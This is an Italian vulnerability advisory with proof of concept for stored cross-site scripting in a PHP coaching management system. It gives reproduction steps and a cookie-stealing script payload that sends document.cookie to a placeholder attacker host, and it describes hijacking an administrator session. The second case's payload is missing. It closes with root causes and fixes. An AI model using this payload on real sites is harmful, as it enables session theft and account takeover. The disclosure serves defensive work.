Exploit proof-of-concept per XSS persistente (CWE-79) in un sistema di gestione del coaching in PHP, che dimostra il dirottamento della sessione e l'escalation dei privilegi da studente ad amministratore tramite furto di cookie.
Funzionalità di risposta ai reclami (Amministratore/Docente → Studente)
Versione
Sconosciuta (Nessuna informazione sulla versione fornita dal venditore; testata sull'ultima versione disponibile da Code-Projects.org ad aprile 2026)
Tipo di vulnerabilità
CWE-79: Neutralizzazione impropria dell'input durante la generazione di pagine web (Cross-Site Scripting persistente)
Descrizione
L'applicazione non riesce a sanitizzare correttamente l'input fornito dall'utente nella funzionalità di reclamo e risposta. JavaScript dannoso iniettato da un utente con privilegi bassi viene memorizzato ed eseguito quando visualizzato da utenti con privilegi più elevati, come amministratori o docenti.
Inoltre, anche la funzionalità di risposta è vulnerabile, consentendo ad amministratori o docenti di iniettare JavaScript che viene eseguito nelle sessioni degli studenti.
Ciò comporta una vulnerabilità di Cross-Site Scripting persistente che interessa più ruoli utente.
Passaggi per la riproduzione
Caso 1: Studente → Amministratore (Escalation dei privilegi)
Accedi come Studente
Vai a:
/modules/student/complaint.php
Invia un reclamo con il seguente payload:
root@kitploit:~
<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>
Accedi come Amministratore
Vai a:
/modules/admin/incomingcomplaint.php
Quando l'amministratore visualizza il reclamo, il payload viene eseguito automaticamente
Il cookie di sessione dell'amministratore viene inviato al server controllato dall'attaccante
Utilizza il cookie di sessione rubato per dirottare la sessione dell'amministratore
Caso 2: Amministratore → Studente (XSS inverso)
Accedi come Amministratore
Rispondi a un reclamo utilizzando il payload:
root@kitploit:~
Accedi come Studente
Visualizza la risposta al reclamo
Prove del Proof of Concept
Esecuzione di JavaScript confermata nel pannello di amministrazione alla visualizzazione del reclamo dannoso
Cookie di sessione (PHPSESSID) esfiltrato con successo tramite server controllato dall'attaccante
Sessione dell'amministratore dirottata utilizzando il cookie rubato
Esecuzione di JavaScript confermata nel pannello dello studente tramite la funzionalità di risposta
Impatto
Gli utenti con privilegi bassi (studenti) possono eseguire JavaScript arbitrario nel contesto dell'amministratore
Porta al dirottamento della sessione a causa dell'assenza del flag HttpOnly
Compromissione totale dell'account amministratore
L'XSS bidirezionale consente la compromissione di più ruoli (Amministratore, Docente, Studente)
Compromissione completa di integrità, riservatezza e disponibilità dell'applicazione
Gravità: CRITICAL
Causa principale
Mancanza di sanitizzazione dell'input
Assenza di codifica dell'output
Mancanza di controlli di sicurezza sui cookie di sessione (flag HttpOnly non impostato)
Raccomandazione
Sanitizzare e convalidare tutti gli input utente.
Codificare l'output utilizzando funzioni come htmlspecialchars() in PHP
Impostare i flag HttpOnly e Secure sui cookie di sessione